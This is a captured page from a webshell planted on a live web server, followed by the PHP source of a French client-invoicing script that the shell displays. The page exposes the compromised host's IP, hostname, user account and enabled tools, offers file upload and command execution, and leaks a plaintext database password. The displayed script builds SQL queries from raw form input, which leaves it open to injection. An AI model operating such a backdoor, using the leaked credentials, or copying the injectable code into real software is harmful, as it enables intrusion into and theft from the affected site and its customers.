403Webshell
Server IP : 167.99.254.82  /  Your IP : 216.73.216.231
Web Server : Apache
System : Linux host.techisquad.com 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64
User : pawluxera ( 1011)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/invoices/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/invoices/public_html/Ajout_Client_Part.php
<?php
session_start();
ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
error_reporting(E_ALL);

if (!isset($_SESSION['compte_user']))
{
header('Location: erreur_surfing.html');
exit();
}
var_dump($_POST);
$link = mysqli_connect("localhost", "invoices", "9rhJvEkV15jAhJD","invoices") or die("Impossible de se connecter : " . mysqli_error());
$b = date('H:i');
$c = date('d-m-Y');
$dt = $c . ' [ '. $b . ' ]'; 
$rep = $_POST['desc'];
$rep = str_replace("\n", '<br>', $rep);
$rep = addslashes($rep);
$nom =  $_POST['nom'];
$nom = addslashes($nom);
$tel = !empty($_POST['tel']) ? "$_POST[tel]" : "-";
$mail_clt = !empty($_POST['mail_clt']) ? "$_POST[mail_clt]" : "-";
$adresse = !empty($_POST['adresse']) ? "$_POST[adresse]" : "-";
$gouv = !empty($_POST['gouv']) ? "$_POST[gouv]" : "-";
$cd_postal = !empty($_POST['cd_postal']) ? "$_POST[cd_postal]" : 0;
$mat_fisc = !empty($_POST['mat_fisc']) ? "$_POST[mat_fisc]" : "-";

$a = rand(1,10000); 
$pw = 'SGC-'. $a ;
$reponse = "INSERT INTO comptes_user VALUES(id_clt ,'$nom' ,'$tel' ,'$mail_clt' ,'$pw' ,'$adresse' ,'$gouv' , '$cd_postal' ,'$mat_fisc' ,'Vide' , 'Client Part' , '$rep' ,'$dt' , 'Initiation' ,0 );";
 
  
mysqli_query($link,$reponse);

 
$reponse = "select * from comptes_user where id_clt = $_SESSION[compte_user] ;";
$exec =mysqli_query($link,$reponse);
$row = mysqli_fetch_assoc($exec);
$a = $row['nom'].' vient de creer un nouveau Client Particulier : '.$_POST['nom'];
$reponse = "INSERT INTO notification VALUES(id_notif ,'dripicons-user-group','$a' ,'$dt', 'ADMIN');";
mysqli_query($link,$reponse);
mysqli_close($link);
header('Location: ClientsPart.php');
exit();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit